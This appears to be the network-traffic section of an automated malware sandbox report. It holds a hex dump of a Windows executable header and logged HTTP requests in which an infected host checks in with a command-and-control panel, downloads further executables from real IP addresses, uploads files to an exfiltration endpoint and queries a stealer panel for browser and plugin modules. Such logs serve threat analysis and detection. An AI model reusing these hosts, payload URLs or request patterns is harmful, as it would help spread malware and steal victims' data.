00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 66 69 61 72 76 72 65 00 20 2a 00 00 a0 00 00 00 12 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 63 63 6b 69 78 6e 6c 00 20 00 00 00 c0 2a 00 00 04 00 00 00 4c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 50 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 11:26:11 GMTContent-Type: application/octet-streamContent-Length: 2781696Last-Modified: Sun, 24 Nov 2024 10:26:38 GMTConnection: keep-aliveETag: "6742ff5e-2a7200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 83 ec 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 66 69 61 72 76 72 65 00 20 2a 00 00 a0 00 00 00 12 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 63 63 6b 69 78 6e 6c 00 20 00 00 00 c0 2a 00 00 04 00 00 00 4c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 50 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008733001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/6856384433/fMb18eF.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008738001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/6856384433/QwGWuQZ.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008743001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------on2cWYroZkKh7pQtjtukLqData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6f 6e 32 63 57 59 72 6f 5a 6b 4b 68 37 70 51 74 6a 74 75 6b 4c 71 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4c 69 77 75 6d 75 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a a1 25 6a 0a 09 b1 2a 43 4e 74 54 88 d1 b0 97 a9 c7 90 50 16 6f b0 e1 e3 ea 6e 18 2e 2e af c5 f7 c7 cd 59 03 3e ee dc 76 8d a3 3c e4 e5 76 46 4d ff 4c f7 d9 3c a5 b4 c5 52 45 b4 b0 ea 7b 46 23 cf 2b 80 d6 77 b6 25 a9 bb 8f 9f d2 88 ac 3c 56 46 62 6a a9 9a b3 b6 fb 54 e4 60 d0 4e be 74 d7 c8 46 a4 01 e5 21 ea 78 53 ca 63 ac 5e b4 01 36 62 a6 71 49 1e 7e f2 b6 0a 1e ad 22 84 ac 13 ef 00 87 ec 7e 84 67 2a 93 48 a5 05 0b 24 19 05 2c b8 b0 0d 7b c0 5f a4 64 2a 0b d3 6f 47 bf 28 49 4e c7 f5 0a 76 18 35 18 d0 5d 26 57 60 54 a5 1a 8d 35 3a 22 f8 85 3c c6 04 3e 68 65 a3 72 7a 2a 30 80 8e e2 c1 41 5e 4a a7 34 8f c7 75 5d 28 65 0f 92 67 51 d1 d1 7a b6 74 f6 20 f3 1f e8 8e 23 0c 71 6b 51 0d 16 99 b6 27 9b df c4 8c 5a 7a f7 53 b9 44 20 b1 58 1d 66 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6f 6e 32 63 57 59 72 6f 5a 6b 4b 68 37 70 51 74 6a 74 75 6b 4c 71 2d 2d 0d 0a Data Ascii: --------------------------on2cWYroZkKh7pQtjtukLqContent-Disposition: form-data; name="file"; filename="Liwumuq.bin"Content-Type: application/octet-stream%jCNtTPon..Y>v<vFML<RE{F#+w%<VFbjT`NtF!xSc^6bqI~"~gH$,{_doG(INv5]&W`T5:"<>herz0A^J4u](egQzt #qkQ'ZzSD Xf--------------------------on2cWYroZkKh7pQtjtukLq--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008744001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 90210Content-Type: multipart/form-data; boundary=------------------------cgahQLERDJggL8bbVBraLpData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 67 61 68 51 4c 45 52 44 4a 67 67 4c 38 62 62 56 42 72 61 4c 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 61 6e 61 64 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ad 70 8a fc cc 06 90 ca ea a8 3a 24 c5 f7 8b 8c 4d d2 42 3d 24 d6 fb 62 05 41 91 82 a9 e6 04 79 24 d4 61 a5 34 fd 8c ff 66 20 d6 eb 14 22 7e 6b ac d5 61 b3 b6 e5 8c f7 91 17 6c d5 17 39 d4 1f a6 fe 93 ea 16 1b 57 8b e6 03 c8 6a a9 2e e6 5b a1 39 30 88 38 dc 77 3e 7d 3c 6a 66 c1 f1 1a 7d 3e 76 59 4b b1 67 8c 78 a2 43 cf 08 d0 26 bd eb c6 a4 d9 0a b1 a2 5f bb ea 8f e4 6f d6 99 fa 1f d0 7a 50 a5 39 82 94 62 14 da e9 6b 95 a5 cc cb c3 63 47 ee 7d 4a af aa f0 2b 53 08 ce 79 38 18 8a 7b f0 8f 6c 3a 51 64 39 5b 76 78 40 9c 3a 40 ce f9 63 2f 42 04 01 8a be 2f fb 00 db 33 03 64 80 ce 1b 85 92 d3 da 2d 88 01 4d 16 aa d6 2c 78 8e 7e 90 7c 80 85 b0 7f f8 00 c9 d7 85 b0 87 45 fd 8f 9a fe 48 46 bf 35 fe 64 c0 de 7a fc a9 ea f3 f2 52 75 6d 87 38 81 4a 6e f7 82 3b ef ef 8a c1 1f fe 2b 51 cc 89 4a 31 d2 f3 4e b8 53 19 ec 83 75 2d 5f ca 73 cb 80 ec 84 e2 3f d7 3c 85 f0 85 fe 9a be a6 ba 1f 76 d5 1d 81 6a f9 09 e1 7d fa 57 2a 60 0e 53 ed 77 ae 3f 0f c4 de 0c 83 08 78 dc 66 55 11 c5 e2 e9 7a 0e f6 c8 cb 4d 9f 47 06 8b 03 b1 9c 6c 00 c3 ac a6 f3 a1 23 48 e8 11 70 71 10 b0 e9 ee 06 87 bf 9d 1b 27 21 f3 f1 a7 e2 84 4b 9e 3b 1f 08 61 3a 68 5b c4 f3 aa c0 f4 81 30 de cb 0a 21 92 5b 3a 4c 5c 93 1c e2 1e 89 b1 cb d6 e2 9e eb cc 8c 99 be 7a 28 ca 5c 29 fb 3f c8 81 3c 2e 5c 38 01 ba 49 90 9e db c7 0f 33 73 ac d4 3c 5e 1b c7 7d d3 b6 25 2d c2 55 cd b1 17 1e 14 19 32 e0 49 72 c2 23 71 d4 85 90 fd 17 a3 25 3e 9f 08 5b 95 e2 33 e1 91 d8 93 85 bc 63 9f 3a 41 27 93 3b f8 4c 9f 9c c2 5e c0 a2 a9 38 17 39 4b 17 09 b1 c6 cb e7 2e 8b 23 ac 8b 5a 9e 0d c3 32 b6 b1 79 2a 07 53 1d 96 e8 ea af 5d 35 30 59 99 ad 97 c0 ca 34 7b b1 d0 f9 1a e7 cc a8 35 b6 91 92 a7 ea db 5e b3 a4 57 92 c7 6a 5b 19 6c 46 66 e8 e7 7d 0f ea 8c 77 28 66 02 99 92 b8 ef 7c 82 89 b7 b6 95 27 bc de 3c 56 de dc 1a 6f c9 90 19 4b 5e 9f 7f 66 e3 2f a3 6e 0d 7c 9d d2 58 b6 33 3a d7 92 ab 7d 09 47 56 7b ae fa bb 13 93 4e c5 0b f0 ce 13 49 66 59 af f8 7c d6 5a 42 55 ca d5 7e 12 fc 77 09 1d 35 83 c7 fb 5d fb c2 6c 59 bd 0b 29 4f be 70 f6 74 ba bd 35 25 10 54 ea 9b 8f c4 63 44 be 56 3e 44 08 48 9a 63 45 0a da 82 18 d8 01 5c d4 48 ea b6 ae 57 b9 28 38 5c 43 ac 1f d2 4a ac e3 88 03 1e c3 76 69 f4 ec 68 dc c9 4c 13 fa c2 73 1f b3 bb 21 6d 83 0b c7 78 b4 3e f5 61 dc a0 a7 08 02 f3 e6 50 03 a8 69 e1 98 d7 4c 25 19 e1 51 b3 65 fb 74 8a 59 fb e3 fd 25 60 28 dc bc dc 76 6c 43
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008745001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008746001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 25623Content-Type: multipart/form-data; boundary=------------------------VMuI6VVGrpsk2S7B8E2jKmData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 56 4d 75 49 36 56 56 47 72 70 73 6b 32 53 37 42 38 45 32 6a 4b 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 6f 6a 69 71 61 78 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1f 60 a9 72 a3 17 53 96 9a 99 45 28 db 54 24 51 2c 59 14 71 c6 1c 0e b7 ce 12 24 c2 70 9d 66 24 fd 24 73 fa 85 84 0c ca 1a 35 90 7d 79 a0 36 dc b1 19 b5 7f 9b 7c 7d d4 f4 9f b4 b3 a5 f8 ec 93 67 9c 0d d6 f8 a1 79 b3 f7 45 e9 3f 3e 41 d6 b8 b4 5f 28 6b af ed f1 77 1e 99 70 a0 01 fa de 09 7a b5 20 61 97 76 f9 75 e4 5c e0 1c d5 ad 2b d6 42 95 70 f1 3d 36 e0 56 5a 2f c9 58 4c 45 51 9a 66 99 e0 0a 0e a8 58 22 e2 48 e2 d3 65 45 74 b4 bb fb ab 8a ce 5e a4 f3 06 af 93 11 bb 9c 00 eb ba 60 46 77 aa df f0 bf 66 70 ee 75 57 55 a8 54 5a dd 25 d2 15 5c 26 55 42 f4 03 1a 83 49 36 3a fa d8 e0 a3 91 54 30 51 25 3c e8 b2 54 69 39 e6 9f 23 b8 e8 d1 25 73 56 a9 34 76 3c 46 39 f7 98 65 3f 51 9b ed 52 5e 9c 9f 83 dd 35 ef 43 1e 04 5a ee b6 03 2c a2 5c de a6 3c 19 f9 ed 5e ba 86 d0 f8 fd d5 7b e0 79 5c 92 be 0e c6 64 f4 33 70 9d a1 4d 04 e3 3a 87 95 60 15 de 7a 77 0c 55 85 f6 91 c8 b0 42 1f c3 a7 76 49 85 9d 24 d2 cf c4 41 7a 75 08 95 a2 75 1c 95 49 24 bd 05 a1 a3 37 da 6c fa 36 b0 49 0e 23 95 b5 a9 59 4e ff 1d 0d 9c db 50 66 52 d4 c8 a6 7d 80 5e c4 47 63 3b f8 21 8f 4e b6 a5 5e 2d 76 f3 62 cc a1 0d 9a 9d 0e 39 90 d7 90 5a 48 39 61 2d dd 18 db 47 07 2e 3b be c2 c0 21 2e ca 1a ea 78 67 9b 25 94 2d 40 88 7b 09 db 89 69 0c 48 76 40 f2 60 46 26 13 23 2c 76 91 0f 47 9e 28 ea 7c 1a 59 75 79 43 28 dd 21 a9 e1 e9 a4 b7 86 82 5b 0d a9 fa a6 a2 b0 7a 30 d3 e3 44 06 32 c5 50 e9 19 55 65 ea 68 61 18 b7 9a ef 7d 8c ef 91 82 83 ae 58 7a ef 60 d0 b1 9d b6 f0 f3 76 15 6a 9a a9 2e 49 14 e6 e3 8b 86 35 10 ed 7a da ed 0b 32 79 74 7a ff 6a 05 24 60 d5 56 fa 87 35 56 5c 59 d1 a7 05 c4 a0 f8 e1 05 c2 e8 06 ed 93 b1 1e 24 f3 89 10 b2 02 d6 03 67 3a 20 2b 6d ce 28 14 e3 d9 45 73 23 b5 29 93 5e 83 20 de 66 12 5a 6d bb 7e 10 9c d7 05 17 28 4f cb e6 f3 cd 28 a7 17 41 cc 65 25 02 d6 d1 fa 22 bd 9c c9 71 9c b4 c8 01 86 56 09 3e af 69 d7 6c f4 2c 16 54 73 57 16 c6 86 1f e3 7b 13 ee fb 5f f6 1a 6c 42 ab 95 7d 96 3b fb e1 90 1d d8 c7 b5 e1 de c0 de 25 47 bf 1a 09 81 ff 40 ee 40 16 62 13 0d 9b f9 e4 5a c3 51 5d 96 61 d0 bb f8 d9 04 d5 99 9a b7 60 bf 6b ed 2d de e9 cc 92 5d 87 1f 98 90 61 08 2d db d5 f7 55 11 15 27 68 87 a9 91 84 b8 d3 ad 5b 65 f8 11 fa 4f e5 b2 c4 b9 41 d9 ac 6d 2d f6 58 e9 87 5a 72 40 1e 83 c8 a4 77 22 82 d0 da e7 c1 62 d8 17 10 01 58 8f c0 67 eb 86 36 9e 43 33 8c 68 8d 2a 94 d9 bb e1 72 7b 94 b0 73 21 33 1a c2 77 dd 94 bb
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 30 45 31 33 38 36 42 33 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="hwid"3A0E1386B3713604296297------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="build"mars------IECBAFCAAKJDHJKFIEBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHDGHCGHCAAKFIIECFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 66 61 37 34 65 36 63 63 38 30 35 33 33 61 63 63 39 38 36 33 36 64 65 62 64 33 37 38 30 61 36 34 61 30 64 34 31 39 61 30 35 66 62 39 62 34 38 32 36 37 34 63 61 64 62 65 34 35 65 30 38 34 34 39 64 35 39 39 35 34 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="token"30fa74e6cc80533acc98636debd3780a64a0d419a05fb9b482674cadbe45e08449d59954------DBGHDGHCGHCAAKFIIECFContent-Disposition: form-data; name="message"browsers------DBGHDGHCGHCAAKFIIECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHCGHJDBFIIDGDHIJDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 66 61 37 34 65 36 63 63 38 30 35 33 33 61 63 63 39 38 36 33 36 64 65 62 64 33 37 38 30 61 36 34 61 30 64 34 31 39 61 30 35 66 62 39 62 34 38 32 36 37 34 63 61 64 62 65 34 35 65 30 38 34 34 39 64 35 39 39 35 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 2d 2d 0d 0a Data Ascii: ------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="token"30fa74e6cc80533acc98636debd3780a64a0d419a05fb9b482674cadbe45e08449d59954------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="message"plugins------ECFHCGHJDBFIIDGDHIJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 66 61 37 34 65 36 63 63 38 30 35 33 33 61 63 63 39 38 36 33 36 64 65 62 64 33 37 38 30 61 36 34 61 30 64 34 31 39 61 30 35 66 62 39 62 34 38 32 36 37 34 63 61 64 62 65 34 35 65 30 38 34 34 39 64 35 39 39 35 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 2d 2d 0d 0a Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"30fa74e6cc80533acc98636debd3780a64a0d419a05fb9b482674cadbe45e08449d59954------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="message"fplugins------CGHCGIIDGDAKFIEBKFCF--
